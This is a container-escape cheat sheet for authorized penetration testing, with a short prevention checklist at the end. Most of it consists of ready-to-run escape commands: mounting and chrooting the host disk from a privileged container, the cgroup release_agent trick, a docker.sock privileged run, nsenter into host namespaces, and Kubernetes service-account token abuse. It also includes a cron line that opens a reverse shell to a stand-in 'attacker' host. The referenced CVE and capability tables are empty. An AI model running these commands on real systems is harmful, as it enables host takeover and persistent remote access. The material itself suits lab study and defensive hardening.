/container-security

Container Escape Reference

Authorized testing only. Use inside contracted engagements or deliberately vulnerable labs (kata-containers test harness, HackTheBox, TryHackMe).

Pre-flight Enumeration

# Am I in a container?
cat /proc/1/cgroup            # look for /docker/, /kubepods/, /containerd/
ls -la /.dockerenv 2>/dev/null
cat /proc/self/status | grep -E 'CapEff|CapPrm|CapBnd|NoNewPrivs|Seccomp'
capsh --print

# Kernel + runtime
uname -a
cat /etc/os-release
mount | grep -E 'cgroup|overlay|proc'

# Is host filesystem or docker.sock mounted?
mount | grep -E 'docker.sock|/host|/hostfs|/rootfs'
ls -la /var/run/docker.sock 2>/dev/null

Escape Vector Catalog

1. Privileged container

CapEff: 0000003fffffffff or --privileged means all capabilities granted and device cgroup unrestricted.

# Enumerate host block devices (visible because of --privileged)
fdisk -l
lsblk

# Mount host root and chroot
mkdir /mnt/host
mount /dev/sda1 /mnt/host
chroot /mnt/host /bin/bash

2. CAP_SYS_ADMIN

Even without full privilege, CAP_SYS_ADMIN allows mounting and cgroup manipulation. Classic release_agent escape (pre-5.8 kernels, still viable in older nodes):

mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp
mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab | head -1)
echo "$host_path/cmd" > /tmp/cgrp/release_agent
printf '#!/bin/sh\nid > /tmp/pwned\n' > /cmd && chmod +x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

3. Docker socket mount

# /var/run/docker.sock mounted in → full host compromise
docker -H unix:///var/run/docker.sock run --rm --privileged \
  -v /:/host -it alpine chroot /host /bin/sh

4. Host PID namespace (--pid=host)

# See every host process
ps -ef
# Inject via /proc/<host-pid>/root or nsenter
nsenter -t 1 -m -u -i -n -p -- /bin/bash

5. Sensitive host mount

Common footguns: /, /etc, /var/run, /root/.ssh, /proc, /sys/fs/cgroup mounted read-write.

# Write cron job on host via bind mount
echo '* * * * * root bash -i >& /dev/tcp/attacker/4444 0>&1' \
  >> /host/etc/crontab

6. Kernel / runtime CVEs

Always verify patch level on the node before suggesting a CVE-based path.

7. Service-account token abuse (K8s)

Not a kernel escape, but the common next step:

TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
CA=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
NS=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)
kubectl --token="$TOKEN" --certificate-authority="$CA" auth can-i --list -n "$NS"

If pods/exec or create pod is allowed, chain to a privileged pod on a targeted node → host.

Capability Risk Table

Prevention Checklist

• No --privileged
• --cap-drop=ALL then add only what's needed
• No /var/run/docker.sock mount
• No --pid=host, --net=host, --ipc=host in workloads
• Seccomp RuntimeDefault or custom allow-list
• AppArmor or SELinux in enforcing mode
• User namespaces enabled
• Node kernel patched (see CVE table above)
• readOnlyRootFilesystem: true
• allowPrivilegeEscalation: false
• Runtime sensor (Falco/Tetragon) monitoring for escape primitives